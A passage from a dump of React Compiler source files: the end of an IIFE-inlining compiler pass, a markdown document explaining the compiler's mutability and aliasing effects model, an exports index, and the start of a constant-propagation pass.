labeled blocks:\n * - We terminate the basic block just prior to the CallExpression of the IIFE\n *    with a LabelTerminal whose fallback is the code following the CallExpression.\n *    Just prior to the terminal we also create a named temporary variable which\n *    will hold the result.\n * - We then inline the contents of the function \"in between\" (conceptually) those\n *    two blocks.\n * - All return statements in the original function expression are replaced with a\n *    StoreLocal to the temporary we allocated before plus a Goto to the fallthrough\n *    block (code following the CallExpression).\n *\n * Note that if the inliined function has only one return, we avoid the labeled block\n * and fully inline the code. The original return is replaced with an assignmen to the\n * IIFE's call expression lvalue.\n */\nexport function inlineImmediatelyInvokedFunctionExpressions(\n  fn: HIRFunction,\n): void {\n  // Track all function expressions that are assigned to a temporary\n  const functions = new Map<IdentifierId, FunctionExpression>();\n  // Functions that are inlined\n  const inlinedFunctions = new Set<IdentifierId>();\n\n  /*\n   * Iterate the *existing* blocks from the outer component to find IIFEs\n   * and inline them. During iteration we will modify `fn` (by inlining the CFG\n   * of IIFEs) so we explicitly copy references to just the original\n   * function's blocks first. As blocks are split to make room for IIFE calls,\n   * the split portions of the blocks will be added to this queue.\n   */\n  const queue = Array.from(fn.body.blocks.values());\n  queue: for (const block of queue) {\n    /*\n     * We can't handle labels inside expressions yet, so we don't inline IIFEs if they are in an\n     * expression block.\n     */\n    if (isStatementBlockKind(block.kind)) {\n      for (let ii = 0; ii < block.instructions.length; ii++) {\n        const instr = block.instructions[ii]!;\n        switch (instr.value.kind) {\n          case 'FunctionExpression': {\n            if (instr.lvalue.identifier.name === null) {\n              functions.set(instr.lvalue.identifier.id, instr.value);\n            }\n            break;\n          }\n          case 'CallExpression': {\n            if (instr.value.args.length !== 0) {\n              // We don't support inlining when there are arguments\n              continue;\n            }\n            const body = functions.get(instr.value.callee.identifier.id);\n            if (body === undefined) {\n              // Not invoking a local function expression, can't inline\n              continue;\n            }\n\n            if (\n              body.loweredFunc.func.params.length > 0 ||\n              body.loweredFunc.func.async ||\n              body.loweredFunc.func.generator\n            ) {\n              // Can't inline functions with params, or async/generator functions\n              continue;\n            }\n\n            // We know this function is used for an IIFE and can prune it later\n            inlinedFunctions.add(instr.value.callee.identifier.id);\n\n            // Create a new block which will contain code following the IIFE call\n            const continuationBlockId = fn.env.nextBlockId;\n            const continuationBlock: BasicBlock = {\n              id: continuationBlockId,\n              instructions: block.instructions.slice(ii + 1),\n              kind: block.kind,\n              phis: new Set(),\n              preds: new Set(),\n              terminal: block.terminal,\n            };\n            fn.body.blocks.set(continuationBlockId, continuationBlock);\n\n            /*\n             * Trim the original block to contain instructions up to (but not including)\n             * the IIFE\n             */\n            block.instructions.length = ii;\n\n            if (hasSingleExitReturnTerminal(body.loweredFunc.func)) {\n              block.terminal = {\n                kind: 'goto',\n                block: body.loweredFunc.func.body.entry,\n                id: block.terminal.id,\n                loc: block.terminal.loc,\n                variant: GotoVariant.Break,\n              } as GotoTerminal;\n              for (const block of body.loweredFunc.func.body.blocks.values()) {\n                if (block.terminal.kind === 'return') {\n                  block.instructions.push({\n                    id: makeInstructionId(0),\n                    loc: block.terminal.loc,\n                    lvalue: instr.lvalue,\n                    value: {\n                      kind: 'LoadLocal',\n                      loc: block.terminal.loc,\n                      place: block.terminal.value,\n                    },\n                    effects: null,\n                  });\n                  block.terminal = {\n                    kind: 'goto',\n                    block: continuationBlockId,\n                    id: block.terminal.id,\n                    loc: block.terminal.loc,\n                    variant: GotoVariant.Break,\n                  } as GotoTerminal;\n                }\n              }\n              for (const [id, block] of body.loweredFunc.func.body.blocks) {\n                block.preds.clear();\n                fn.body.blocks.set(id, block);\n              }\n            } else {\n              /*\n               * To account for multiple returns within the lambda, we treat the lambda\n               * as if it were a single labeled statement, and replace all returns with gotos\n               * to the label fallthrough.\n               */\n              const newTerminal: LabelTerminal = {\n                block: body.loweredFunc.func.body.entry,\n                id: makeInstructionId(0),\n                kind: 'label',\n                fallthrough: continuationBlockId,\n                loc: block.terminal.loc,\n              };\n              block.terminal = newTerminal;\n\n              // We store the result in the IIFE temporary\n              const result = instr.lvalue;\n\n              // Declare the IIFE temporary\n              declareTemporary(fn.env, block, result);\n\n              // Promote the temporary with a name as we require this to persist\n              if (result.identifier.name == null) {\n                promoteTemporary(result.identifier);\n              }\n\n              /*\n               * Rewrite blocks from the lambda to replace any `return` with a\n               * store to the result and `goto` the continuation block\n               */\n              for (const [id, block] of body.loweredFunc.func.body.blocks) {\n                block.preds.clear();\n                rewriteBlock(fn.env, block, continuationBlockId, result);\n                fn.body.blocks.set(id, block);\n              }\n            }\n\n            /*\n             * Ensure we visit the continuation block, since there may have been\n             * sequential IIFEs that need to be visited.\n             */\n            queue.push(continuationBlock);\n            continue queue;\n          }\n          default: {\n            for (const place of eachInstructionValueOperand(instr.value)) {\n              // Any other use of a function expression means it isn't an IIFE\n              functions.delete(place.identifier.id);\n            }\n          }\n        }\n      }\n    }\n  }\n\n  if (inlinedFunctions.size !== 0) {\n    // Remove instructions that define lambdas which we inlined\n    for (const block of fn.body.blocks.values()) {\n      retainWhere(\n        block.instructions,\n        instr => !inlinedFunctions.has(instr.lvalue.identifier.id),\n      );\n    }\n\n    /*\n     * If terminals have changed then blocks may have become newly unreachable.\n     * Re-run minification of the graph (incl reordering instruction ids)\n     */\n    reversePostorderBlocks(fn.body);\n    markInstructionIds(fn.body);\n    markPredecessors(fn.body);\n    mergeConsecutiveBlocks(fn);\n  }\n}\n\n/**\n * Returns true if the function has a single exit terminal (throw/return) which is a return\n */\nfunction hasSingleExitReturnTerminal(fn: HIRFunction): boolean {\n  let hasReturn = false;\n  let exitCount = 0;\n  for (const [, block] of fn.body.blocks) {\n    if (block.terminal.kind === 'return' || block.terminal.kind === 'throw') {\n      hasReturn ||= block.terminal.kind === 'return';\n      exitCount++;\n    }\n  }\n  return exitCount === 1 && hasReturn;\n}\n\n/*\n * Rewrites the block so that all `return` terminals are replaced:\n * * Add a StoreLocal <returnValue> = <terminal.value>\n * * Replace the terminal with a Goto to <returnTarget>\n */\nfunction rewriteBlock(\n  env: Environment,\n  block: BasicBlock,\n  returnTarget: BlockId,\n  returnValue: Place,\n): void {\n  const {terminal} = block;\n  if (terminal.kind !== 'return') {\n    return;\n  }\n  block.instructions.push({\n    id: makeInstructionId(0),\n    loc: terminal.loc,\n    lvalue: createTemporaryPlace(env, terminal.loc),\n    value: {\n      kind: 'StoreLocal',\n      lvalue: {kind: InstructionKind.Reassign, place: {...returnValue}},\n      value: terminal.value,\n      type: null,\n      loc: terminal.loc,\n    },\n    effects: null,\n  });\n  block.terminal = {\n    kind: 'goto',\n    block: returnTarget,\n    id: makeInstructionId(0),\n    variant: GotoVariant.Break,\n    loc: block.terminal.loc,\n  };\n}\n\nfunction declareTemporary(\n  env: Environment,\n  block: BasicBlock,\n  result: Place,\n): void {\n  block.instructions.push({\n    id: makeInstructionId(0),\n    loc: GeneratedSource,\n    lvalue: createTemporaryPlace(env, result.loc),\n    value: {\n      kind: 'DeclareLocal',\n      lvalue: {\n        place: result,\n        kind: InstructionKind.Let,\n      },\n      type: null,\n      loc: result.loc,\n    },\n    effects: null,\n  });\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Inference/MUTABILITY_ALIASING_MODEL.md",
    "content": "# The Mutability & Aliasing Model\n\nThis document describes the new (as of June 2025) mutability and aliasing model powering React Compiler. The mutability and aliasing system is a conceptual subcomponent whose primary role is to determine minimal sets of values that mutate together, and the range of instructions over which those mutations occur. These minimal sets of values that mutate together, and the corresponding instructions doing those mutations, are ultimately grouped into reactive scopes, which then translate into memoization blocks in the output (after substantial additional processing described in the comments of those passes).\n\nTo build an intuition, consider the following example:\n\n```js\nfunction Component() {\n    // a is created and mutated over the course of these two instructions:\n    const a = {};\n    mutate(a);\n\n    // b and c are created and mutated together — mutate might modify b via c\n    const b = {};\n    const c = {b};\n    mutate(c);\n\n    // does not modify a/b/c\n    return <Foo a={a} c={c} />\n}\n```\n\nThe goal of mutability and aliasing inference is to understand the set of instructions that create/modify a, b, and c.\n\nIn code, the mutability and aliasing model is compromised of the following phases:\n\n* `InferMutationAliasingEffects`. Infers a set of mutation and aliasing effects for each instruction. The approach is to generate a set of candidate effects based purely on the semantics of each instruction and the types of the operands, then use abstract interpretation to determine the actual effects (or errors) that would apply. For example, an instruction that by default has a Capture effect might downgrade to an ImmutableCapture effect if the value is known to be frozen.\n* `InferMutationAliasingRanges`. Infers a mutable range (start:end instruction ids) for each value in the program, and annotates each Place with its effect type for usage in later passes. This builds a graph of data flow through the program over time in order to understand which mutations effect which values.\n* `InferReactiveScopeVariables`. Given the per-Place effects, determines disjoint sets of values that mutate together and assigns all identifiers in each set to a unique scope, and updates the range to include the ranges of all constituent values.\n\nFinally, `AnalyzeFunctions` needs to understand the mutation and aliasing semantics of nested FunctionExpression and ObjectMethod values. `AnalyzeFunctions` calls `InferFunctionExpressionAliasingEffectsSignature` to determine the publicly observable set of mutation/aliasing effects for nested functions.\n\n## Mutation and Aliasing Effects\n\nThe inference model is based on a set of \"effects\" that describe subtle aspects of mutation, aliasing, and other changes to the state of values over time\n\n### Creation Effects\n\n#### Create\n\n```js\n{\n    kind: 'Create';\n    into: Place;\n    value: ValueKind;\n    reason: ValueReason;\n}\n```\n\nDescribes the creation of a new value with the given kind, and reason for having that kind. For example, `x = 10` might have an effect like `Create x = ValueKind.Primitive [ValueReason.Other]`.\n\n#### CreateFunction\n\n```js\n{\n    kind: 'CreateFunction';\n    captures: Array<Place>;\n    function: FunctionExpression | ObjectMethod;\n    into: Place;\n}\n```\n\nDescribes the creation of new function value, capturing the given set of mutable values. CreateFunction is used to specifically track function types so that we can precisely model calls to those functions with `Apply`.\n\n#### Apply\n\n```js\n{\n    kind: 'Apply';\n    receiver: Place;\n    function: Place; // same as receiver for function calls\n    mutatesFunction: boolean; // indicates if this is a type that we consider to mutate the function itself by default\n    args: Array<Place | SpreadPattern | Hole>;\n    into: Place; // where result is stored\n    signature: FunctionSignature | null;\n}\n```\n\nDescribes the potential creation of a value by calling a function. This models `new`, function calls, and method calls. The inference algorithm uses the most precise signature it can determine:\n\n* If the function is a locally created function expression, we use a signature inferred from the behavior of that function to interpret the effects of calling it with the given arguments.\n* Else if the function has a known aliasing signature (new style precise effects signature), we apply the arguments to that signature to get a precise set of effects.\n* Else if the function has a legacy style signature (with per-param effects) we convert the legacy per-Place effects into aliasing effects (described in this doc) and apply those.\n* Else fall back to inferring a generic set of effects.\n\nThe generic fallback is to assume:\n- The return value may alias any of the arguments (Alias param -> return)\n- Any arguments *may* be transitively mutated (MutateTransitiveConditionally param)\n- Any argument may be captured into any other argument (Capture paramN -> paramM for all N,M where N != M)\n\n### Aliasing Effects\n\nThese effects describe data-flow only, separately from mutation or other state-changing semantics.\n\n#### Assign\n\n```js\n{\n    kind: 'Assign';\n    from: Place;\n    into: Place;\n}\n```\n\nDescribes an `x = y` assignment, where the receiving (into) value is overwritten with a new (from) value. After this effect, any previous assignments/aliases to the receiving value are dropped. Note that `Alias` initializes the receiving value.\n\n> TODO: InferMutationAliasingRanges may not fully reset aliases on encountering this effect\n\n#### Alias\n\n```js\n{\n    kind: 'Alias';\n    from: Place;\n    into: Place;\n}\n```\n\nDescribes that an assignment _may_ occur, but that the possible assignment is non-exclusive. The canonical use-case for `Alias` is a function that may return more than one of its arguments, such as `(x, y, z) => x ? y : z`. Here, the result of this function may be `y` or `z`, but neither one overwrites the other. Note that `Alias` does _not_ initialize the receiving value: it should always be paired with an effect to create the receiving value.\n\n#### Capture\n\n```js\n{\n    kind: 'Capture';\n    from: Place;\n    into: Place;\n}\n```\n\nDescribes that a reference to one variable (from) is stored within another value (into). Examples include:\n- An array expression captures the items of the array (`array = [capturedValue]`)\n- Array.prototype.push captures the pushed values into the array (`array.push(capturedValue)`)\n- Property assignment captures the value onto the object (`object.property = capturedValue`)\n\n#### CreateFrom\n\n```js\n{\n    kind: 'CreateFrom';\n    from: Place;\n    into: Place;\n}\n```\n\nThis is somewhat the inverse of `Capture`. The `CreateFrom` effect describes that a variable is initialized by extracting _part_ of another value, without taking a direct alias to the full other value. Examples include:\n\n- Indexing into an array (`createdFrom = array[0]`)\n- Reading an object property (`createdFrom = object.property`)\n- Getting a Map key (`createdFrom = map.get(key)`)\n\n#### ImmutableCapture\n\nDescribes immutable data flow from one value to another. This is not currently used for anything, but is intended to eventually power a more sophisticated escape analysis.\n\n### MaybeAlias\n\nDescribes potential data flow that the compiler knows may occur behind a function call, but cannot be sure about. For example, `foo(x)` _may_ be the identity function and return `x`, or `cond(a, b, c)` may conditionally return `b` or `c` depending on the value of `a`, but those functions could just as easily return new mutable values and not capture any information from their arguments. MaybeAlias represents that we have to consider the potential for data flow when deciding mutable ranges, but should be conservative about reporting errors. For example, `foo(someFrozenValue).property = true` should not error since we don't know for certain that foo returns its input.\n\n### State-Changing Effects\n\nThe following effects describe state changes to specific values, not data flow. In many cases, JavaScript semantics will involve a combination of both data-flow effects *and* state-change effects. For example, `object.property = value` has data flow (`Capture object <- value`) and mutation (`Mutate object`).\n\n#### Freeze\n\n```js\n{\n    kind: 'Freeze',\n    // The reference being frozen\n    value: Place;\n    // The reason the value is frozen (passed to a hook, passed to jsx, etc)\n    reason: ValueReason;\n}\n```\n\nOnce a reference to a value has been passed to React, that value is generally not safe to mutate further. This is not a strictly required property of React, but is a natural consequence of making components and hooks composable without leaking implementation details. Concretely, once a value has been passed as a JSX prop, passed as argument to a hook, or returned from a hook, it must be assumed that the other \"side\" — receiver of the prop/argument/return value — will use that value as an input to an effect or memoization unit. Mutating that value (instead of creating a new value) will fail to cause the consuming computation to update:\n\n```js\n// INVALID DO NOT DO THIS\nfunction Component(props) {\n    const array = useArray(props.value);\n    // OOPS! this value is memoized, the array won't get re-created\n    // when `props.value` changes, so we might just keep pushing new\n    // values to the same array on every render!\n    array.push(props.otherValue);\n}\n\nfunction useArray(a) {\n    return useMemo(() => [a], [a]);\n}\n```\n\nThe **Freeze** effect accepts a variable reference and a reason that the value is being frozen. Note: _freeze only applies to the reference, not the underlying value_. Our inference is conservative, and assumes that there may still be other references to the same underlying value which are mutated later. For example:\n\n```js\nconst x = {};\nconst y = [];\nx.y = y;\nfreeze(y); // y _reference_ is frozen\nx.y.push(props.value); // but y is still considered mutable bc of this\n```\n\n#### Mutate (and MutateConditionally)\n\n```js\n{\n    kind: 'Mutate';\n    value: Place;\n}\n```\n\nMutate indicates that a value is mutated, without modifying any of the values that it may transitively have captured. Canonical examples include:\n\n- Pushing an item onto an array modifies the array, but does not modify any items stored _within_ the array (unless the array has a reference to itself!)\n- Assigning a value to an object property modifies the object, but not any values stored in the object's other properties.\n\nThis helps explain the distinction between Assign/Alias and Capture: Mutate only affects assign/alias but not captures.\n\n`MutateConditionally` is an alternative in which the mutation _may_ happen depending on the type of the value. The conditional variant is not generally used and included for completeness.\n\n\n\n#### MutateTransitiveConditionally (and MutateTransitive)\n\n`MutateTransitiveConditionally` represents an operation that may mutate _any_ aspect of a value, including reaching arbitrarily deep into nested values to mutate them. This is the default semantic for unknown functions — we have no idea what they do, so we assume that they are idempotent but may mutate any aspect of the mutable values that are passed to them.\n\nThere is also `MutateTransitive` for completeness, but this is not generally used.\n\n### Side Effects\n\nFinally, there are a few effects that describe error, or potential error, conditions:\n\n- `MutateFrozen` is always an error, because it indicates known mutation of a value that should not be mutated.\n- `MutateGlobal` indicates known mutation of a global value, which is not safe during render. This effect is an error if reachable during render, but allowed if only reachable via an event handler or useEffect.\n- `Impure` indicates calling some other logic that is impure/side-effecting. This is an error if reachable during render, but allowed if only reachable via an event handler or useEffect.\n  - TODO: we could probably merge this and MutateGlobal\n- `Render` indicates a value that is not mutated, but is known to be called during render. It's used for a few particular places like JSX tags and JSX children, which we assume are accessed during render (while other props may be event handlers etc). This helps to detect more MutateGlobal/Impure effects and reject more invalid programs.\n\n\n## Rules\n\n### Mutation of Alias Mutates the Source Value\n\n```\nAlias a <- b\nMutate a\n=>\nMutate b\n```\n\nExample:\n\n```js\nconst a = maybeIdentity(b); // Alias a <- b\na.property = value; // a could be b, so this mutates b\n```\n\n### Mutation of Assignment Mutates the Source Value\n\n```\nAssign a <- b\nMutate a\n=>\nMutate b\n```\n\nExample:\n\n```js\nconst a = b;\na.property = value // a _is_ b, this mutates b\n```\n\n### Mutation of CreateFrom Mutates the Source Value\n\n```\nCreateFrom a <- b\nMutate a\n=>\nMutate b\n```\n\nExample:\n\n```js\nconst a = b[index];\na.property = value // the contents of b are transitively mutated\n```\n\n\n### Mutation of Capture Does *Not* Mutate the Source Value\n\n```\nCapture a <- b\nMutate a\n!=>\n~Mutate b~\n```\n\nExample:\n\n```js\nconst a = {};\na.b = b;\na.property = value; // mutates a, not b\n```\n\n### Mutation of Source Affects Alias, Assignment, CreateFrom, and Capture\n\n```\nAlias a <- b OR Assign a <- b OR CreateFrom a <- b OR Capture a <- b\nMutate b\n=>\nMutate a\n```\n\nA derived value changes when it's source value is mutated.\n\nExample:\n\n```js\nconst x = {};\nconst y = [x];\nx.y = true; // this changes the value within `y` ie mutates y\n```\n\n\n### TransitiveMutation of Alias, Assignment, CreateFrom, or Capture Mutates the Source\n\n```\nAlias a <- b OR Assign a <- b OR CreateFrom a <- b OR Capture a <- b\nMutateTransitive a\n=>\nMutateTransitive b\n```\n\nRemember, the intuition for a transitive mutation is that it's something that could traverse arbitrarily deep into an object and mutate whatever it finds. Imagine something that recurses into every nested object/array and sets `.field = value`. Given a function `mutate()` that does this, then:\n\n```js\nconst a = b; // assign\nmutate(a); // clearly can transitively mutate b\n\nconst a = maybeIdentity(b); // alias\nmutate(a); // clearly can transitively mutate b\n\nconst a = b[index]; // createfrom\nmutate(a); // clearly can transitively mutate b\n\nconst a = {};\na.b = b; // capture\nmutate(a); // can transitively mutate b\n```\n\n### MaybeAlias makes mutation conditional\n\nBecause we don't know for certain that the aliasing occurs, we consider the mutation conditional against the source.\n\n```\nMaybeAlias a <- b\nMutate a\n=>\nMutateConditional b\n```\n\n### Freeze Does Not Freeze the Value\n\nFreeze does not freeze the value itself:\n\n```\nCreate x\nAssign y <- x OR Alias y <- x OR CreateFrom y <- x OR Capture y <- x\nFreeze y\n!=>\n~Freeze x~\n```\n\nThis means that subsequent mutations of the original value are valid:\n\n```\nCreate x\nAssign y <- x OR Alias y <- x OR CreateFrom y <- x OR Capture y <- x\nFreeze y\nMutate x\n=>\nMutate x (mutation is ok)\n```\n\nAs well as mutations through other assignments/aliases/captures/createfroms of the original value:\n\n```\nCreate x\nAssign y <- x OR Alias y <- x OR CreateFrom y <- x OR Capture y <- x\nFreeze y\nAlias z <- x OR Capture z <- x OR CreateFrom z <- x OR Assign z <- x\nMutate z\n=>\nMutate x (mutation is ok)\n```\n\n### Freeze Freezes The Reference \n\nAlthough freeze doesn't freeze the value, it does affect the reference. The reference cannot be used to mutate.\n\nConditional mutations of the reference are no-ops:\n\n```\nCreate x\nAssign y <- x OR Alias y <- x OR CreateFrom y <- x OR Capture y <- x\nFreeze y\nMutateConditional y\n=>\n(no mutation)\n```\n\nAnd known mutations of the reference are errors:\n\n```\nCreate x\nAssign y <- x OR Alias y <- x OR CreateFrom y <- x OR Capture y <- x\nFreeze y\nMutateConditional y\n=>\nMutateFrozen y error=...\n```\n\n### Corollary: Transitivity of Assign/Alias/CreateFrom/Capture\n\nA key part of the inference model is inferring a signature for function expressions. The signature is a minimal set of effects that describes the publicly observable behavior of the function. This can include \"global\" effects like side effects (MutateGlobal/Impure) as well as mutations/aliasing of parameters and free variables.\n\nIn order to determine the aliasing of params and free variables into each other and/or the return value, we may encounter chains of assign, alias, createfrom, and capture effects. For example:\n\n```js\nconst f = (x) => {\n    const y = [x];  // capture y <- x\n    const z = y[0]; // createfrom z <- y\n    return z;     // assign return <- z\n}\n// <Effect> return <- x\n```\n\nIn this example we can see that there should be some effect on `f` that tracks the flow of data from `x` into the return value. The key constraint is preserving the semantics around how local/transitive mutations of the destination would affect the source.\n\n#### Each of the effects is transitive with itself\n\n```\nAssign b <- a\nAssign c <- b\n=>\nAssign c <- a\n```\n\n```\nAlias b <- a\nAlias c <- b\n=>\nAlias c <- a\n```\n\n```\nCreateFrom b <- a\nCreateFrom c <- b\n=>\nCreateFrom c <- a\n```\n\n```\nCapture b <- a\nCapture c <- b\n=>\nCapture c <- a\n```\n\n#### Alias > Assign\n\n```\nAssign b <- a\nAlias c <- b\n=>\nAlias c <- a\n```\n\n```\nAlias b <- a\nAssign c <- b\n=>\nAlias c <- a\n```\n\n### CreateFrom > Assign/Alias\n\nIntuition: \n\n```\nCreateFrom b <- a\nAlias c <- b OR Assign c <- b\n=>\nCreateFrom c <- a\n```\n\n```\nAlias b <- a OR Assign b <- a\nCreateFrom c <- b\n=>\nCreateFrom c <- a\n```\n\n### Capture > Assign/Alias\n\nIntuition: capturing means that a local mutation of the destination will not affect the source, so we preserve the capture.\n\n```\nCapture b <- a\nAlias c <- b OR Assign c <- b\n=>\nCapture c <- a\n```\n\n```\nAlias b <- a OR Assign b <- a\nCapture c <- b\n=>\nCapture c <- a\n```\n\n### Capture And CreateFrom\n\nIntuition: these effects are inverses of each other (capturing into an object, extracting from an object). The result is based on the order of operations:\n\nCapture then CreateFrom is equivalent to Alias: we have to assume that the result _is_ the original value and that a local mutation of the result could mutate the original.\n\n```js\nconst b = [a]; // capture\nconst c = b[0]; // createfrom\nmutate(c); // this clearly can mutate a, so the result must be one of Assign/Alias/CreateFrom \n```\n\nWe use Alias as the return type because the mutability kind of the result is not derived from the source value (there's a fresh object in between due to the capture), so the full set of effects in practice would be a Create+Alias.\n\n```\nCapture b <- a\nCreateFrom c <- b\n=>\nAlias c <- a\n```\n\nMeanwhile the opposite direction preserves the capture, because the result is not the same as the source:\n\n```js\nconst b = a[0]; // createfrom\nconst c = [b]; // capture\nmutate(c); // does not mutate a, so the result must be Capture\n```\n\n```\nCreateFrom b <- a\nCapture c <- b\n=>\nCapture c <- a\n```"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Inference/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport {default as analyseFunctions} from './AnalyseFunctions';\nexport {dropManualMemoization} from './DropManualMemoization';\nexport {inferReactivePlaces} from './InferReactivePlaces';\nexport {inlineImmediatelyInvokedFunctionExpressions} from './InlineImmediatelyInvokedFunctionExpressions';\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Optimization/ConstantPropagation.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {isValidIdentifier} from '@babel/types';\nimport {CompilerError} from '../CompilerError';\nimport {\n  GeneratedSource,\n  GotoVariant,\n  HIRFunction,\n  IdentifierId,\n  Instruction,\n  InstructionValue,\n  LoadGlobal,\n  Phi,\n  Place,\n  Primitive,\n  assertConsistentIdentifiers,\n  assertTerminalSuccessorsExist,\n  makePropertyLiteral,\n  markInstructionIds,\n  markPredecessors,\n  mergeConsecutiveBlocks,\n  reversePostorderBlocks,\n} from '../HIR';\nimport {\n  removeDeadDoWhileStatements,\n  removeUnnecessaryTryCatch,\n  removeUnreachableForUpdates,\n} from '../HIR/HIRBuilder';\nimport {eliminateRedundantPhi} from '../SSA';\n\n/*\n * Applies constant propagation/folding to the given function. The approach is\n * [Sparse Conditional Constant Propagation](https://en.wikipedia.org/wiki/Sparse_conditional_constant_propagation):\n * we use abstract interpretation to record known constant values for identifiers,\n * with lack of a value indicating that the identifier does not have a\n * known constant value.\n *\n * Instructions which can be compile-time evaluated *and* whose operands are known constants\n * are replaced with the resulting constant value. For example a BinaryExpression\n * where the left value is known to be `1` and the right value is known to be `2`\n * can be replaced with a `Constant 3` instruction.\n *\n * This pass also exploits the use of SSA form, tracking the constant values of\n * local variables. For example, in `let x = 4; let y = x + 1` we know that\n * `x = 4` in the binary expression and can replace the binary expression with\n * `Constant 5`.\n *\n * This pass also visits conditionals (currently only IfTerminal) and can prune\n * unreachable branches when the condition is a known truthy/falsey constant. The\n * pass uses fixpoint iteration, looping until no additional updates can be\n * performed. This allows the compiler to find cases where once one conditional is pruned,\n * other values become constant, allowing subsequent conditionals to be pruned and so on.\n */\nexport function constantPropagation(fn: HIRFunction): void {\n  const constants: Constants = new Map();\n  constantPropagationImpl(fn, constants);\n}\n\nfunction constantPropagationImpl(fn: HIRFunction, constants: Constants): void {\n  while (true) {\n    const haveTerminalsChanged = applyConstantPropagation(fn, constants);\n    if (!haveTerminalsChanged) {\n      break;\n    }\n    /*\n     * If terminals have changed then blocks may have become newly unreachable.\n     * Re-run minification of the graph (incl reordering instruction ids)\n     */\n    reversePostorderBlocks(fn.body);\n    removeUnreachableForUpdates(fn.body);\n    removeDeadDoWhileStatements(fn.body);\n    removeUnnecessaryTryCatch(fn.body);\n    markInstructionIds(fn.body);\n    markPredecessors(fn.body);\n\n    // Now that predecessors are updated, prune phi operands that can never be reached\n    for (const [, block] of fn.body.blocks) {\n      for (const phi of block.phis) {\n        for (const [predecessor] of phi.operands) {\n          if (!block.preds.has(predecessor)) {\n            phi.operands.delete(predecessor);\n          }\n        }\n      }\n    }\n    /*\n     * By removing some phi operands, there may be phis that were not previously\n     * redundant but now are\n     */\n    eliminateRedundantPhi(fn);\n    /*\n     * Finally, merge together any blocks that are now guaranteed to execute\n     * consecutively\n     */\n    mergeConsecutiveBlocks(fn);\n\n    assertConsistentIdentifiers(fn);\n    assertTerminalSuccessorsExist(fn);\n  }\n}\n\nfunction applyConstantPropagation(\n  fn: HIRFunction,\n  constants: Constants,\n): boolean {\n  let hasChanges = false;\n  for (const [, block] of fn.body.blocks) {\n    /*\n     * Initialize phi values if all operands have the same known constant value.\n     * Note that this analysis uses a single-pass only, so it will never fill in\n     * phi values for blocks that have a back-edge.\n     */\n    for (const phi of block.phis) {\n      let value = evaluatePhi(phi, constants);\n      if (value !== null) {\n        constants.set(phi.place.identifier.id, value);\n      }\n    }\n\n    for (let i = 0; i < block.instructions.length; i++) {\n      if (block.kind === 'sequence' && i === block.instructions.length - 1) {\n        /*\n         * evaluating the last value of a value block can break order of evaluation,\n         * skip these instructions\n         */\n        continue;\n      }\n      const instr = block.instructions[i]!;\n      const value = evaluateInstruction(constants, instr);\n      if (value !== null) {\n        constants.set(instr.lvalue.identifier.id, value);\n      }\n    }\n\n    const terminal = block.terminal;\n    switch (terminal.kind) {\n      case 'if': {\n        const testValue = read(constants, terminal.test);\n        if (testValue !== null && testValue.kind === 'Primitive') {\n          hasChanges = true;\n          const targetBlockId = testValue.value\n            ? terminal.consequent\n            : terminal.alternate;\n          block.terminal = {\n            kind: 'goto',\n            variant: GotoVariant.Break,\n            block: targetBlockId,\n            id: terminal.id,\n            loc: terminal.loc,\n          };\n        }\n        break;\n      }\n      default: {\n        // no-op\n      }\n    }\n  }\n\n  return hasChanges;\n}\n\nfunction evaluatePhi(phi: Phi, constants: Constants): Constant | null {\n  let value: Constant | null = null;\n  for (const [, operand] of phi.operands) {\n    const operandValue = constants.get(operand.identifier.id) ?? null;\n    // did not find a constant, can't constant propogate\n    if (operandValue === null) {\n      return null;\n    }\n\n    /*\n     * first iteration of the loop, let's store the operand and continue\n     * looping.\n     */\n    if (value === null) {\n      value = operandValue;\n      continue;\n    }\n\n    // found different kinds of constants, can't constant propogate\n    if (operandValue.kind !== value.kind) {\n      return null;\n    }\n\n    switch (operandValue.kind) {\n      case 'Primitive': {\n        CompilerError.invariant(value.kind === 'Primitive', {\n          reason: 'value kind expected to be Primitive',\n          loc: GeneratedSource,\n        });\n\n        // different constant values, can't constant propogate\n        if (operandValue.value !== value.value) {\n          return null;\n        }\n        break;\n      }\n      case 'LoadGlobal': {\n        CompilerError.invariant(value.kind === 'LoadGlobal', {\n          reason: 'value kind expected to be LoadGlobal',\n          loc: GeneratedSource,\n        });\n\n        // different global values, can't constant propogate\n        if (operandValue.binding.name !== value.binding.name) {\n          return null;\n        }\n        break;\n      }\n      default:\n        return null;\n    }\n  }\n\n  return value;\n}\n\nfunction evaluateInstruction(\n  constants: Constants,\n  instr: Instruction,\n): Constant | null {\n  const value = instr.value;\n  switch (value.kind) {\n    case 'Primitive': {\n      return value;\n    }\n    case 'LoadGlobal': {\n      return value;\n    }\n    case 'ComputedLoad': {\n      const property = read(constants, value.property);\n      if (\n        property !== null &&\n        property.kind === 'Primitive' &&\n        ((typeof property.value === 'string' &&\n          isValidIdentifier(property.value)) ||\n          typeof property.value === 'number')\n      ) {\n        const nextValue: InstructionValue = {\n          kind: 'PropertyLoad',\n          loc: value.loc,\n          property: makePropertyLiteral(property.value),\n          object: value.object,\n        };\n        instr.value = nextValue;\n      }\n      return null;\n    }\n    case 'ComputedStore': {\n      const property = read(constants, value.property);\n      if (\n        property !== null &&\n        property.kind === 'Primitive' &&\n        ((typeof property.value === 'string' &&\n          isValidIdentifier(property.value)) ||\n          typeof property.value === 'number')\n      ) {\n        const nextValue: InstructionValue = {\n          kind: 'PropertyStore',\n          loc: value.loc,\n          property: makePropertyLiteral(property.value),\n          object: value.object,\n          value: value.value,\n        };\n        instr.value = nextValue;\n      }\n      return null;\n    }\n    case 'PostfixUpdate': {\n      const previous = read(constants, value.value);\n      if (\n        previous !== null &&\n        previous.kind === 'Primitive' &&\n        typeof previous.value === 'number'\n      ) {\n        const next =\n          value.operation === '++' ? previous.value + 1 : previous.value - 1;\n        // Store the updated value\n        constants.set(value.lvalue.identifier.id, {\n          kind: 'Primitive',\n          value: next,\n          loc: value.loc,\n        });\n        // But return the value prior to the update\n        return previous;\n      }\n      return null;\n    }\n    case 'PrefixUpdate': {\n      const previous 